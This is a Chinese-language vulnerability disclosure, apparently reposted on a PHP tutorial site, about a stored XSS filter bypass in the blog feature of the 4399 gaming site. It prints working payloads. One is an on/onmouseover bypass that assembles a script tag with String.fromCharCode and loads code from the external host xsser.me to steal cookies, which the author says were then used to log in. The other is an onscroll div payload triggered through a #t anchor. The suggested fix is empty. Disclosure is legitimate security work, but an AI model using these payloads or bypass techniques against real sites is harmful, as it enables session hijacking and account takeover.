好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

4399储存型xss,过滤器绕过 - 网站安全 - 自学php

4399某功能处可以xss,有过滤器过滤,但是可以通过一些手段进行绕过。

 

1 测试地址

 

http://my.4399测试数据/space-693256254-do-blog-id-1140804.html

 

 

请在确认后 漏洞 后删掉此地址内容。

 

2 4399日志处可以构成xss,此处的过滤器

 

传了个图,插了写代码进去,发现会将on expression \ 等过滤成.

 

3 经过测试发现,这里应该是对<img>标签的每个属性进行正则,只要发现就进行过滤,但是一个字符串只是过滤最前面的一个特殊字符。

 

就是说onload onload===》.load .load ononload===》.onload

 

4 所以直接构造onload为on/onload即可绕过

 

5 不过在测试时候发现,虽然可以插进去,F12查看也正常,但是没有执行。<img>的onload onerror之类的貌似都会重新判断一次。

 

比如

 

//伪代码

if(图片尺寸>50){

img.onload="xxx"

}

 

 

所以就又试着插了些别的代码,比如input、iframe等,

 

6 测试之后发现这里貌似只能插入<div> <img> <a> <font> <p>等几个标签,看来是做了白名单了

 

所以就用onmouseover

 

7 插一个大点的<img> <div> 效果也蛮不错诶,基本上进去就会触发了。(图中的红色边框是div的区域,为了让大家看的更加之观点)

 

 

 

8 插入的代码,以及F12中看到成功插入

 

 

 

 

 

 

 

9 插入了下盗取cookie的代码,并成功盗取cookie登录

 

将onmouseover写为on/onmouseover,会过滤成为. onmouseover

插入成功后的盗取cookie的代码,用F12那里复制出来如下

(这里要注意对script进行下转换,不然script会被过滤成.)

<div style="border:5px solid red;" .="" onmouseover="s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src='http://xsser.me/4310VB?'+Math.random();document.body.appendChild(s)"><img src="http://p.img4399测试数据/82248039/3" .="" onmouseover="alert(2)"></div>

 

 

 

 

 

 

10 这里<div>也可以插入以下代码直接访问就触发xss

 

<div id="xx" onscroll="alert(1);" style="height:30px;overflow-y:auto;width:100px;">a b c a b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b c<a name="t">d</a></div>

 

 

div 当滚动条滚动的时候触发

 

div里面的内容是为了让div出现滚动条,name="t"那个是为了让可以直接定位到那里使滚动条滚动

 

利用地址后面要http://xxx. html #t

 

要加上#t 才会直接到<a>标签name处触发onscroll

 

11 至于给管理员通过意见反馈、私信等途径,发链接去xss管理员cookie和后台地址这些事情我就不干了。

 

 

修复方案:

过滤、、

查看更多关于4399储存型xss,过滤器绕过 - 网站安全 - 自学php的详细内容...

  阅读:82次